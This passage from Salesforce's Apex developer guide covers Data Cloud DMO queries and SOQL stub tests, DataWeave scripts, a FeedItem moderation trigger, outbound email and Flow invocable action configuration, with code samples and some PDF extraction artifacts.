insert new Account(Name='Test');
List<ssot_Account_dlm> dml = [Select Id from ssot_Account_dlm];
```

Security Considerations

You must consider field- and record-level access when using Apex with Data Cloud data model objects (DMOs). DMOs in all data spaces are accessible from Apex in system mode, even when a permission set for the data space isn't explicitly assigned. Read-only object-level access checks are supported if the user has access to the data space. There's currently no support for field-level security or for record-level access control. Apex features, such as `WITH USER_MODE`, `WITH SECURITY_ENFORCED`, describe calls, and `Security.stripInaccessible()`, can check only object-level access for DMOs.

Starting with API version 61.0, you can get information on a specific DMO using `SObjectType.getDescribe()`. There's no field-level security to be enforced because all fields on DMOs that are accessed by field describes and security model checks are read only. You can't use `Schema.getGlobalDescribe()` to discover exposed DMOs. Instead, use the `Schema.describeObjects(List<String>)` method with the known DMO API names.

This example uses static SOQL with the `UnifiedIndividual__dml` Data Cloud object.

```
//Static SOQL example
List<UnifiedIndividual__dml> unifiedIndividuals = [
    SELECT
        Id,
        ssot__FirstName__c,
        ssot__LastName__c,
        ssot__Email__c,
        ssot__SkyMilesBalance__c,
        ssot__MedallionStatus__c
    FROM UnifiedIndividual__dml
    WHERE ssot__CompanyId__c = :companyId
];
```

Mock SOQL Tests for Data Cloud Data Model Objects

You can mock SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using the new SOQL stub methods and a new test class. Use static or dynamic SOQL queries against DMOs and return mock records in a testing context.

Mock SOQL Tests for Data Cloud Data Model Objects

You can mock SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using the new SOQL stub methods and a new test class. Use static or dynamic SOQL queries against DMOs and return mock records in a testing context.

Create mock test classes by extending the new `System.SoqlStubProvider` class and overriding the `handleSoqlQuery()` class method. Create DMO instances using either `Test.createStubQueryRow()` or `Test.createStubQueryRows()`. Register the mock provider in the test using `Test.createSoqlStub()` and execute the test code.

 **Note:** Apex governor limits apply to the stubbed records.

The SOQL query must be against a DMO or an external object, either directly with a FROM clause or via a subquery. If you query against a stubbed object type that doesn't include a DMO or an external object, the error `Stubbed query invocations can't be used without a participating query stub set.` is thrown.

These features are not allowed within a stub implementation:

- SOQL
- SOSL
- Callouts
- Future methods
- Queueable Jobs
- Batch Jobs
- DML
- Platform Events

This example shows a mock test class for the `SkyMilesForBusinessOptInController` class.

```
@IsTest
public class SkyMilesForBusinessOptInController_Test {

    @IsTest
    public static void mockSoql() {

        SoqlStubProvider stub = new UnifiedIndividualSoqlStub();
        Test.createSoqlStub(UnifiedIndividual__dml.sObjectType, stub);

        Assert.isTrue(Test.isSoqlStubDefined(UnifiedIndividual__dml.sObjectType));

        Test.startTest();
        string companyId = 'SampleCompanyId';
        // Performs SOQL query against Data Model Object
        List<SkyMilesMember> members =
        SkyMilesForBusinessOptInController.getSkyMilesProfilesFromDataCloud(companyId);

        Test.stopTest();

        Assert.areEqual(1, members.size());
    }
}
```

```

        SkyMilesMember member = members[0];

        Assert.areEqual(companyId, member.CompanyId);
        Assert.areEqual(5000, member.SkyMilesBalance);
    }

    class UnifiedIndividualSqlStub extends SqlStubProvider {
        public override List<sObject> handleSqlQuery(sObjectType sot, string stubbedQuery,
        Map<string, object> bindVars) {

            Assert.areEqual(UnifiedIndividual__dml.sObjectType, sot);

            // Stub assumes that the SOQL query is searching for a single record by company
id

            string companyId = 'Default';
            if(bindVars.containsKey('tmpVar1')) {
                companyId = (string)bindVars.get('tmpVar1');
            }

            UnifiedIndividual__dml dmo = (UnifiedIndividual__dml)Test.createStubQueryRow(

                sot,
                new Map<string, object> {
                    'ssot__FirstName__c' => 'Codey',
                    'ssot__LastName__c' => 'Bear',
                    'ssot__Email__c' => 'developer@salesforce.com',
                    'ssot__SkyMilesBalance__c' => 5000,
                    'ssot__MedallionStatus__c' => 'Gold',
                    'ssot__CompanyId__c' => companyId
                }
            );
            return new List<sObject> { dmo };
        }
    }
}

```

```

public with sharing class SkyMilesForBusinessOptInController {
    public static List<SkyMilesMember> getSkyMilesProfilesFromDataCloud(String companyId)
    {
        List<UnifiedIndividual__dml> unifiedIndividuals = [
            SELECT
                Id,
                ssot__FirstName__c,
                ssot__LastName__c,
                ssot__Email__c,
                ssot__SkyMilesBalance__c,
                ssot__MedallionStatus__c,
                ssot__CompanyId__c
            FROM UnifiedIndividual__dml
            WHERE ssot__CompanyId__c = :companyId
        ];
        List<SkyMilesMember> skyMilesMembers = new List<SkyMilesMember>();
    }
}

```

```

    for (UnifiedIndividual__dml individual : unifiedIndividuals) {
        skyMilesMembers.add(
            new SkyMilesMember(
                individual.Id,
                individual.ssot__FirstName__c,
                individual.ssot__LastName__c,
                individual.ssot__Email__c,
                individual.ssot__SkyMilesBalance__c,
                individual.ssot__MedallionStatus__c,
                individual.ssot__CompanyId__c
            )
        );
    }
    return skyMilesMembers;
}

```

SEE ALSO:

[Apex Reference Guide: SoqlStubProvider Class](#)

DataWeave in Apex

DataWeave in Apex uses the Mulesoft DataWeave library to read and parse data from one format, transform it, and export it in a different format. You can create DataWeave scripts as metadata and invoke them directly from Apex. Like Apex, DataWeave scripts are run within Salesforce application servers, enforcing the same heap and CPU limits on the executing code.

Enterprise applications often require transformation of data between formats such as CSV, JSON, XML, and Apex objects. DataWeave in Apex complements native Apex support for JSON and XML processing, and makes data transformation easier to code, more scalable, and efficient. Apex developers can focus more on solving business problems and less on addressing the specifics of file formats.

DataWeave is the MuleSoft expression language for accessing, parsing, and transforming data that travels through a Mule application. For detailed information, see [DataWeave Overview](#).



Note: You don't have to be a MuleSoft customer or have any specific Salesforce license to use DataWeave in Apex.

The following are some use-cases for DataWeave in Apex.

- Serializing Apex objects with custom date formats
- Serializing and deserializing JSON with Apex reserved keywords
- Performing custom transformations like removing or adding namespaces or removing __c suffixes
- Parsing and transforming RFC 4180-compliant CSV (Comma-Separated Values) data

You can create a listview for DataWeave resources in your org and view deployed DataWeave scripts within your namespace. From Setup, in the Quick Find box, enter *DataWeave*, and then select **DataWeave Resources**. Select the fields that you want to monitor, such as the DataWeave Resource ID, Name, Namespace Prefix, and API Version.

[Implementing DataWeave in Apex](#)

Create DataWeave scripts as metadata and invoke them directly from Apex. Use class methods and exceptions in the DataWeave namespace to load and execute the scripts.

[Examples of DataWeave in Apex](#)

Here are code samples that demonstrate DataWeave in Apex.

[Limitations of DataWeave in Apex](#)

DataWeave in Apex has these limitations.

SEE ALSO:

[Apex Reference Guide: DataWeave Namespace](#)

[Metadata API Developer Guide: DataWeaveResource](#)

[Salesforce DX Developer Guide: DataWeaveResource](#)

Implementing DataWeave in Apex

Create DataWeave scripts as metadata and invoke them directly from Apex. Use class methods and exceptions in the DataWeave namespace to load and execute the scripts.

DataWeave Namespace

The DataWeave namespace provides classes and methods to support the invocation of DataWeave scripts from Apex. The `Script` class contains the `createScript()` method to load DataWeave scripts from `.dw1` metadata files that have been deployed to an org. The resulting script can then be run with a payload using the `execute()` method to obtain script output in a `DataWeave.Result` object. The `Result` class contains methods to retrieve script output using `Script` class methods. For more information on these classes and methods, see [DataWeave Namespace](#).

For every DataWeave script, an inner class of type `DataWeaveScriptResource.ScriptName` is generated. The inner class extends the `DataWeave.Script` class. You can use the generated `DataWeaveScriptResource.ScriptName` class instead of using the actual script name via the `createScript()` method. DataWeave scripts that are currently being referenced via this inner class can't be deleted. To make the generated `DataWeaveScriptResource` class global, set the `isGlobal` field in the `DataWeaveResource` metadata object.

```
<?xml version="1.0" encoding="UTF-8"?>
<DataWeaveResource xmlns="http://soap.sforce.com/2006/04/metadata">
  <apiVersion>58.0</apiVersion>
  <isGlobal>true</isGlobal>
</DataWeaveResource>
```

The catchable `System.DataWeaveScriptException` exception is available for error handling. Runtime script exceptions that occur within DataWeave are exposed to Apex with this exception type.

DataWeave scripts support logging using the `log(string, value)` function. Log messages that originate from DataWeave are reflected in Apex debug logs as `DATAWEAVE_USER_DEBUG` events, under the Apex Code log category at the `DEBUG` log level.

Supporting Information

These tools support the development of DataWeave scripts.

- [DataWeave Interactive Learning](#) is an online interactive playground that you can use to test your DataWeave scripts.
- [DataWeave 2.0 VSCode marketplace extension](#) adds code highlighting and other feature support for editing DataWeave scripts.

Versioned Behavior Changes

These versions of DataWeave script syntax are supported in Apex.

- API version 61.0 and earlier: [DataWeave 2.5](#)
- API version 62.0: [DataWeave 2.8](#)
- API version 63.0 and later: [DataWeave 2.9](#)

SEE ALSO:

[Limitations of DataWeave in Apex](#)

Examples of DataWeave in Apex

Here are code samples that demonstrate DataWeave in Apex.

To use DataWeave in Apex, follow these instructions with associated examples.

- Create a DataWeave script source file.

For example: `csvToContacts.dwl`.

```
%dw 2.0
input records application/csv
output application/apex
---
records map(record) -> {
  FirstName: record.first_name,
  LastName: record.last_name,
  Email: record.email
} as Object {class: "Contact"}
```

- Create the associated metadata file.

For example: `csvToContacts.dwl-meta.xml`.

```
<?xml version="1.0" encoding="UTF-8"?>
<DataWeaveResource xmlns="http://soap.sforce.com/2006/04/metadata">
  <apiVersion>58.0</apiVersion>
  <isGlobal>false</isGlobal>
</DataWeaveResource>
```

- Push the source to the scratch org using Salesforce CLI version v7.151.9 or higher. See [Salesforce CLI Release Notes](#).
- Invoke the DataWeave script from Apex and check the results from anonymous Apex.

This example invokes the `csvToContacts.dwl` script.

```
// CSV data for Contacts
String inputCsv = 'first_name,last_name,email\nCodey,"The Bear",codey@salesforce.com';
DataWeave.Script dwscript = new DataWeaveScriptResource.csvToContacts();
DataWeave.Result dwresult = dwscript.execute(new Map<String, Object>{'records' =>
inputCsv});
List<Contact> results = (List<Contact>)dwresult.getValue();

Assert.areEqual(1, results.size());
Contact codeyContact = results[0];
Assert.areEqual('Codey', codeyContact.FirstName);
Assert.areEqual('The Bear', codeyContact.LastName);
```



Note: Extensive code samples that demonstrate the DataWeave in Apex feature are available on [Developerforce](#).

Limitations of DataWeave in Apex

DataWeave in Apex has these limitations.

- The DataWeave Java bridge, that is, the ability to bind to static Java methods is disabled. See [Introduction to Mule 4](#). Features that interact with the environment such as the `readURL` and `envVar` functions are also disabled. These checks are done at script creation time instead of at runtime.
- You must specify an encoding for binary input (Apex Blobs) to be coerced to strings: `binaryVariable as String {encoding: 'utf8' }`.
- DataWeave is constrained to disallow the loading of additional libraries. Therefore, scripts must be self-contained.
- DataWeave modules and importing other scripts aren't supported. For example, `import modules::MyMapping` as per [Using a Mapping File](#) in a DataWeave Script isn't supported.

 **Note:** The feature supports built-in modules. See [DataWeave Reference](#).

- DataWeave in Apex doesn't support these content types.
 - [Flat File Format](#) (`application/flatfile`)
 - [Excel](#) (`application/xlsx`)
 - [Avro](#) (`application/avro`)
- Apex classes must be at API version 53.0 or later to access DataWeave integration methods.
- There's a maximum of 50 DataWeave scripts per org.
- The maximum body size of one DataWeave script is 100,000 (one hundred thousand) characters.

 **Note:** XML Entity Expansion isn't supported, either currently or in the future, as a guard against denial of service attacks.

Moderate Feed Items with Triggers

Write a trigger for `FeedItem` to automate the moderation of posts in an org or Experience Cloud site. Use triggers to ensure that posts conform to your company's communication policies and don't contain unwanted words or phrases.

Write an Apex *before insert* trigger to review the feed item body and change the status of the feed item if it contains a blocklisted phrase. To create a trigger for feed items from Setup, enter *FeedItem Triggers* in the Quick Find box, then select **FeedItem Triggers**. Alternatively, you can create a trigger from the Developer Console by clicking **File > New > Apex Trigger** and selecting `FeedItem` from the **sObject** drop-down list.

This example shows a *before insert* trigger on `FeedItem` that is used to review each new post. If the post contains the unwanted phrase, the trigger also sets the status of the post to `PendingReview`.

EDITIONS

Available in: **Enterprise**, **Performance**, **Unlimited**, and **Developer** Editions

USER PERMISSIONS

To save Apex triggers for `FeedItem`:

- Author Apex

```
trigger ReviewFeedItem on FeedItem (before insert) {
    for (Integer i = 0; i < trigger.new.size(); i++) {

        // We don't want to leak "test phrase" information.

        if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
            trigger.new[i].status = 'PendingReview';
            System.debug('caught one for pendingReview');
        }
    }
}
```



```
}  
}
```

Experience Cloud Sites

Experience Cloud sites are branded spaces for your employees, customers, and partners to connect. You can customize and create sites to meet your business needs, then transition seamlessly between them.

Interact with Experience Cloud sites in Apex using the `Network` class and using Connect in Apex classes in the `ConnectApi` namespace.

Connect in Apex has a `ConnectApi.Communities` class with methods that return information about sites. Many Connect in Apex methods take a `communityId` argument, and some Connect in Apex methods take a `siteId` argument.

SEE ALSO:

[Apex Reference Guide: Network Class](#)

[Apex Reference Guide: Connect in Apex](#)

Email

You can use Apex to work with inbound and outbound email.

Use Apex with these email features:

[Inbound Email](#)

Use Apex to work with email sent to Salesforce.

[Outbound Email](#)

Use Apex to work with email sent from Salesforce.

Inbound Email

Use Apex to work with email sent to Salesforce.

You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by Apex classes that utilize the `InboundEmail` object.



Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.

See [Apex Email Service](#).

Outbound Email

Use Apex to work with email sent from Salesforce.



Important: Sending an email by using Apex requires domain-level and user-level email verification. System-generated emails also require verification of the From email address. Email delivery fails if any of these verifications is incomplete. See [Requirements to Send Email from Salesforce](#).

You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.

 **Note:** Visualforce email templates cannot be used for mass email.

You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened, and the total number of times it was opened.

To send individual and mass email with Apex, use the following classes:

SingleEmailMessage

Instantiates an email object used for sending a single email message. The syntax is:

```
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
```

MassEmailMessage

Instantiates an email object used for sending a mass email message. The syntax is:

```
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
```

Messaging

Includes the static `sendEmail` method, which sends the email objects you instantiate with either the `SingleEmailMessage` or `MassEmailMessage` classes, and returns a `SendEmailResult` object.

The syntax for sending an email is:

```
Messaging.sendEmail(new Messaging.Email[] { mail }, opt_allOrNone);
```

where `Email` is either `Messaging.SingleEmailMessage` or `Messaging.MassEmailMessage`.

The optional `opt_allOrNone` parameter specifies whether `sendEmail` prevents delivery of all other messages when any of the messages fail due to an error (`true`), or whether it allows delivery of the messages that don't have errors (`false`). The default is `true`.

Includes the static `reserveMassEmailCapacity` and `reserveSingleEmailCapacity` methods, which can be called before sending any emails to ensure that the sending organization doesn't exceed its daily email limit when the transaction is committed and emails are sent. The syntax is:

```
Messaging.reserveMassEmailCapacity(count);
```

and

```
Messaging.reserveSingleEmailCapacity(count);
```

where `count` indicates the total number of addresses that emails will be sent to.

Note the following:

- The email is not sent until the Apex transaction is committed.
- The email address of the user calling the `sendEmail` method is inserted in the `From Address` field of the email header. All email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
- Maximum of 10 `sendEmail` methods per transaction. Use the [Limits methods](#) to verify the number of `sendEmail` methods in a transaction.
- Single email messages sent with the `sendEmail` method count against the sending organization's daily single email limit. When this limit is reached, calls to the `sendEmail` method using `SingleEmailMessage` are rejected, and the user receives a `SINGLE_EMAIL_LIMIT_EXCEEDED` error code. However, single emails sent through the application are allowed.
- Mass email messages sent with the `sendEmail` method count against the sending organization's daily mass email limit. When this limit is reached, calls to the `sendEmail` method using `MassEmailMessage` are rejected, and the user receives a `MASS_MAIL_LIMIT_EXCEEDED` error code.
- Any error returned in the `SendEmailResult` object indicates that no email was sent.

`Messaging.SingleEmailMessage` has a method called `setOrgWideEmailAddressId`. It accepts an object ID to an `OrgWideEmailAddress` object. If `setOrgWideEmailAddressId` is passed a valid ID, the `OrgWideEmailAddress.DisplayName` field is used in the email header, instead of the logged-in user's `Display Name`. The sending email address in the header is also set to the field defined in `OrgWideEmailAddress.Address`.

 **Note:** If both `OrgWideEmailAddress.DisplayName` and `setSenderDisplayName` are defined, the user receives a `DUPLICATE_SENDER_DISPLAY_NAME` error.

For more information, see *Organization-Wide Email Addresses* in the Salesforce Help .

Example

```
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);

// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.

// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] { 'user@acme.com' };
String[] ccAddresses = new String[] { 'smith@gmail.com' };

// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);

// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');

// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');

// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' + case.Id);

// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);

// Optionally append the Salesforce email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);

// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' + case.Id + ' has been created.');
```

```
mail.setHtmlBody('Your case:<b> ' + case.Id + ' </b>has been created.<p>'+
    'To view your case <a href=https://MyDomainName.my.salesforce.com/'+case.Id+'>click
```

```
here.</a>');  
  
// Send the email you have created.  
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
```

External Services

External Services connect your Salesforce org to a service outside of Salesforce, such as an employee banking service. After you register the external service, you can call it natively in your Apex code. Objects and operations defined in the external service's registered API specification become Apex classes and methods in the `ExternalService` namespace. The registered service's schema types map to Apex types, and are strongly typed, making the Apex compiler do the heavy lifting for you. For example, you can make a type safe callout to an external service from Apex without needing to use the `Http` class or perform transforms on JSON strings.

SEE ALSO:

[Salesforce Help: Invoke External Service Callouts Using Apex](#)

Flows

Flow Builder lets admins build applications, known as *flows*, that automate a business process. Flows collect data and perform actions in your Salesforce org or an external system.

For example, you can create a flow to script calls for a customer support center or to generate real-time quotes for a sales team. You can embed a flow in a Visualforce page or Aura component and access it in an Apex controller.

For more information about how to start a flow from Apex, see [Apex Reference Guide: Interview Class](#).

You can customize how your Apex invocable actions appear and behave in Flow Builder by using the `InvocableActionExtension` metadata file. Control input parameter order and grouping, provide picklist values, add custom headers, and create partial custom property editors for improved configuration experiences. For more information, see [Extend Invocable Action Configuration in Flow Builder](#) on page 482.

[Getting Flow Variables](#)

You can retrieve flow variables for a specific flow in Apex.

[Making Callouts to External Systems from Invocable Actions](#)

When you define a method that runs as an invocable action in a screen flow and makes a callout to an external system, use the `callout` modifier.

[Extend Invocable Action Configuration in Flow Builder](#)

Simplify the configuration of Apex invocable actions in Flow Builder by using the `InvocableActionExtension` metadata file. Create partial custom property editors for one or more input parameters that don't require updates when you introduce new versions of your action. Define dynamic or static picklists for input parameters and control input parameter display order and grouping. You can also add a custom header to your property editor.

[Passing Data to a Flow Using the `Process.Plugin` Interface](#)

`Process.Plugin` is a built-in interface that lets you process data within your org and pass it to a specified flow. The interface exposes Apex as a service, which accepts input values and returns output back to the flow.

Getting Flow Variables

You can retrieve flow variables for a specific flow in Apex.

The `Flow.Interview` Apex class provides the `getVariableValue` method for retrieving a flow variable, which can be in the flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element. This example shows how to use this method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a `vaBreadcrumb` variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.

```
public class SampleController {  
  
    // Instance of the flow  
    public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}  
  
    public String getBreadcrumb() {  
        String aBreadcrumb;  
        if (myFlow==null) { return 'Home';}  
        else aBreadcrumb = (String) myFlow.getVariableValue('vaBreadcrumb');  
  
        return(aBreadcrumb==null ? 'Home': aBreadcrumb);  
    }  
}
```

SEE ALSO:

[Apex Reference Guide: Interview Class](#)

Making Callouts to External Systems from Invocable Actions

When you define a method that runs as an invocable action in a screen flow and makes a callout to an external system, use the `callout` modifier.

When the method is executed as an invocable action, screen flows use this modifier to determine whether the action can be executed safely in the current transaction. Flow admins can configure the action to let the flow decide whether to execute the action in a new transaction or the current one.

When all of these conditions are met, the flow commits the current transaction, starts a new transaction, and makes the call to an external system safely.

- The method's callout modifier is `true`.
- The action's Transaction Control setting in a screen flow is configured to let the flow decide.
- The current transaction has uncommitted work.

If any of these conditions are true, the flow executes the action in the current transaction.

- The callout modifier is `false`.
- The action is executed by a non-screen flow.
- The current transaction doesn't have uncommitted work.

SEE ALSO:

[InvocableMethod Annotation](#)

Extend Invocable Action Configuration in Flow Builder

Simplify the configuration of Apex invocable actions in Flow Builder by using the `InvocableActionExtension` metadata file. Create partial custom property editors for one or more input parameters that don't require updates when you introduce new versions of your action. Define dynamic or static picklists for input parameters and control input parameter display order and grouping. You can also add a custom header to your property editor.

Example: Sorting Booking Request Inputs

An Apex class for a travel application, `BookingAction`, uses a custom input type, `BookingRequest`, to manage two required dates: `startDate` and `endDate`. By default, the flow shows inputs alphabetically. Use the `InvocableActionExtension` metadata file to define the logical order and group the fields under a relevant section header to improve the user experience.

Create the Apex Invocable Action

This section shows the Apex class structure required for the invocable action that exposes configurable input parameters to a flow.

This Apex class creates an invocable action, `BookingAction`, designed to send a booking request to an external system. Note that the method accepts a `List` input to support bulk processing, a best practice for Apex development.



Note: Users who invoke the action from a flow must have the appropriate Apex class access set in their profile or permission set.

```
public class BookingAction {
    @InvocableMethod(
        label='Booking Request'
        description='Sends a booking reservation request to booking system'
        category='Booking Integrations'
        callout=true // Indicates this action makes an external callout
    )
    public static List<BookingResult> invoke(List<BookingRequest> request) {
        // Apex business logic goes here to process the booking requests.
        // This process must be designed to handle multiple requests (bulkified).

        // Example mock logic:
        List<BookingResult> results = new List<BookingResult>();
        for (BookingRequest req : request) {
            BookingResult result = new BookingResult();
            result.status = 'Booking request received for dates: ' + req.startDate + ' to
' + req.endDate;
            results.add(result);
        }

        return results;
    }

    public class BookingRequest {
        @InvocableVariable(
            label='Requested Start Date'
            description='The start date for the booking.'
            required=true
        )
        public Date startDate;

        @InvocableVariable(
```

```

        label='Requested End Date'
        description='The end date for the booking.'
        required=true
    )
    public Date endDate;
}

public class BookingResult {
    @InvocableVariable(
        label='Status Message'
    )
    public String status;
    // Include other output variables as needed.
}
}

```

The `invoke` method uses the `@InvocableMethod` annotation to be callable from a flow. Input and output are defined by the inner classes, `BookingRequest` and `BookingResult`, ensuring data integrity. The individual input variables within `BookingRequest` use the `@InvocableVariable` annotation, which allows them to be exposed as configurable fields in Flow Builder.

Define Input Order with Invocable Action Extension

Use the `InvocableActionExtension` metadata file to specify the sort order of input fields. You can also organize them into collapsible groups for improved usability in Flow Builder.

The file must have the suffix `.invocableactionextension-meta.xml` and the filename corresponds to the Apex class name, for example, `BookingAction.invocableactionextension-meta.xml`. Add the metadata file to the `invocableactionextensions` directory.

This metadata file targets each input parameter and uses the `<key>Order</key>` attribute so the start date appears before the end date. It also uses the `<key>Group</key>` attribute to organize both inputs under a single collapsible section named `Booking Dates`.



Important: To sort the order of input fields, define an `Order` for all input parameters for the action. If you define an `Order` for at least one parameter, you must define an `Order` for all parameters within the action to avoid unexpected behavior.

```

<?xml version="1.0" encoding="UTF-8"?>
<InvocableActionExtension xmlns="http://soap.sforce.com/2006/04/metadata">
    <targets>
        <targetType>ActionParameter</targetType>
        <targetName>BookingAction.BookingRequest.startDate</targetName>
        <attributes>
            <key>Order</key>
            <dataType>Integer</dataType>
            <value>1</value> </attributes>
    </targets>
</InvocableActionExtension>

```

```

        <attributes>
            <key>Group</key>
            <dataType>String</dataType>
            <value>Booking Dates</value> </attributes>
        </targets>

        <targets>
            <targetType>ActionParameter</targetType>
            <targetName>BookingAction.BookingRequest.endDate</targetName>
            <attributes>
                <key>Order</key>
                <dataType>Integer</dataType>
                <value>2</value> </attributes>
            <attributes>
                <key>Group</key>
                <dataType>String</dataType>
                <value>Booking Dates</value> </attributes>
            </targets>
        </InvocableActionExtension>

```

The `<targets>` elements identify the specific input parameters to be customized. The `<key>Order</key>` attribute explicitly controls the vertical display sequence of the input parameters in Flow Builder. The `<key>Group</key>` attribute is used to create the collapsible Booking Dates section, improving the organization and scannability of the action's inputs.

Define Static Picklist Values for Input Parameters

Use the `ProvidedValuesList` standard additional attribute to provide picklist options for input parameters. Users select from predefined values, which reduces configuration errors. Each input parameter supports up to 500 total picklist values.

For a fixed set of values, use a comma-separated list. Optionally include display labels for one or more values by using a pipe delimiter.

First, add a new input parameter to the `BookingRequest` class:

```

@InvocableVariable(
    label='Booking Type'
    description='The type of booking to create.'
    required=true
)
public String bookingType;

```

Then define the static picklist values in the `InvocableActionExtension` metadata file:

```

<targets>
    <targetName>BookingAction.BookingRequest.bookingType</targetName>

```



```

    <attributes>
      <key>ProvidedValuesList</key>
      <value>hotel|Hotel Reservation, flight|Flight Booking, car|Car Rental</value>
    </attributes>
  </targets>

```

In this example, the values `hotel`, `flight`, and `car` are stored in the flow. The labels `Hotel Reservation`, `Flight Booking`, and `Car Rental` appear to users in Flow Builder.

Define Dynamic Picklist Values for Input Parameters

For picklist values that change based on org data or business logic, create an Apex class that extends `VisualEditor.DynamicPicklist`. The class's `getValues()` method defines the picklist logic and returns the values.

```

public class BookingTypeDynamicPicklist extends VisualEditor.DynamicPicklist {
    public override VisualEditor.DataRow getDefaultValue() {
        VisualEditor.DataRow defaultValue = new VisualEditor.DataRow('hotel', 'Hotel
Reservation');
        return defaultValue;
    }

    public override VisualEditor.DynamicPicklistRows getValues() {
        VisualEditor.DynamicPicklistRows picklistValues = new
VisualEditor.DynamicPicklistRows();

        // Query available booking types from custom metadata or other source
        List<BookingType__mdt> types = [SELECT Value__c, Label__c FROM BookingType__mdt];

        for (BookingType__mdt type : types) {
            VisualEditor.DataRow row = new VisualEditor.DataRow(type.Value__c,
type.Label__c);
            picklistValues.addRow(row);
        }

        return picklistValues;
    }
}

```

Reference the Apex class in the `InvocableActionExtension` metadata file by using the `apex://` URI format:

```

<targets>
  <targetName>BookingAction.BookingRequest.bookingType</targetName>
  <attributes>
    <key>ProvidedValuesList</key>
    <value>apex://BookingTypeDynamicPicklist</value>
  </attributes>
</targets>

```



Important: Dynamic picklist logic runs when users configure the action in Flow Builder. Efficient logic prevents timeouts during action configuration.

Add a Custom Header to an Action

Use the `CustomHeaderLwcName` standard additional attribute to add a custom header to your Apex action's standard property editor. The header appears at the top of the property panel in Flow Builder. It provides context, instructions, or additional information to improve the configuration experience.

First, create a Lightning web component that shows the header content. A Lightning web component consists of a JavaScript file and an HTML template file.

Create the JavaScript controller file:

```
// bookingActionHeader.js
import { LightningElement } from 'lwc';

export default class BookingActionHeader extends LightningElement {}
```

Create the HTML template file that defines the header's content and appearance:

```
<codeblock otherprops="xml"><!-- bookingActionHeader.html -->
<template>
  <div class="slds-box slds-theme_info slds-m-bottom_small">
    <p class="slds-text-heading_small">Booking Action Configuration</p>
    <p>Configure the booking request parameters below. Ensure you have enabled external
    callouts before using this action.</p>
  </div>
</template>
</codeblock>
```

Then reference the Lightning web component in the `InvocableActionExtension` metadata file. Use `ActionDefinition` as the target type to apply the header to the entire action:

```
<targets>
  <targetType>ActionDefinition</targetType>
  <targetName>BookingAction</targetName>
  <attributes>
    <key>CustomHeaderLwcName</key>
    <value>c:bookingActionHeader</value>
  </attributes>
</targets>
```

When users configure the action in Flow Builder, the custom header appears at the top of the property panel before the input parameters.

Create Partial Custom Property Editors for Input Parameters

Use partial custom property editors (CPEs) to create custom configuration interfaces for one or more related input parameters. Full custom property editors replace the entire action configuration interface. Partial CPEs customize specific parameters while other parameters use the standard property editor.

With partial CPEs, you can add new input parameters to your action without updating the CPE code. The new parameters automatically use the standard property editor. Full CPEs require code updates whenever you modify the action's parameters. This flexibility makes partial CPEs easier to maintain as your action evolves.

First, add related input parameters to the `BookingRequest` class that benefit from coordinated configuration:

```
@InvocableVariable(
  label='Assignee Type'
  description='The type of assignee for this booking.'
  required=true
```

```

)
public String assigneeType;

@InvocableVariable(
    label='Assignee'
    description='The user or queue to assign this booking to.'
    required=true
)
public String assignee;

```

Create a Lightning web component that serves as the partial CPE. The component can control how both parameters are configured together.

Create the JavaScript controller file:

```

// bookingAssigneeCpe.js
import { LightningElement, api } from 'lwc';

export default class BookingAssigneeCpe extends LightningElement {
    @api inputVariables;
    @api genericTypeMappings;

    // Logic to handle assigneeType and assignee coordination
    handleAssigneeTypeChange(event) {
        // Update available assignee options based on selected type
    }
}

```

Create the HTML template file:

```

<!-- bookingAssigneeCpe.html -->
<template>
    <lightning-combobox
        label="Assignee Type"
        value={assigneeType}
        options={assigneeTypeOptions}
        onchange={handleAssigneeTypeChange}>
    </lightning-combobox>

    <lightning-combobox
        label="Assignee"
        value={assignee}
        options={assigneeOptions}>
    </lightning-combobox>
</template>

```

Configure the partial CPE in the InvocableActionExtension metadata file. First, assign the CPE to the primary parameter by using the `CpeName` attribute:

```

<targets>
    <targetType>ActionParameter</targetType>
    <targetName>BookingAction.BookingRequest.assigneeType</targetName>
    <attributes>
        <key>CpeName</key>
        <value>c:bookingAssigneeCpe</value>
    </attributes>

```

```

    </attributes>
</targets>

```

Then link the related parameter to the same CPE using the `ConfiguredBy` attribute:

```

<targets>
  <targetType>ActionParameter</targetType>
  <targetName>BookingAction.BookingRequest.assignee</targetName>
  <attributes>
    <key>ConfiguredBy</key>
    <value>assigneeType</value>
  </attributes>
</targets>

```

When users configure the action in Flow Builder, the partial CPE manages both the `assigneeType` and `assignee` parameters. Other input parameters in the action continue to use the standard property editor. Each parameter can belong to only one partial CPE. When a CPE controls multiple input parameters, the primary parameter's `Order` attribute determines where the CPE appears in the property panel.

SEE ALSO:

[InvocableMethod Annotation](#)

[InvocableVariable Annotation](#)

[Metadata API Developer Guide: InvocableActionExtension](#)

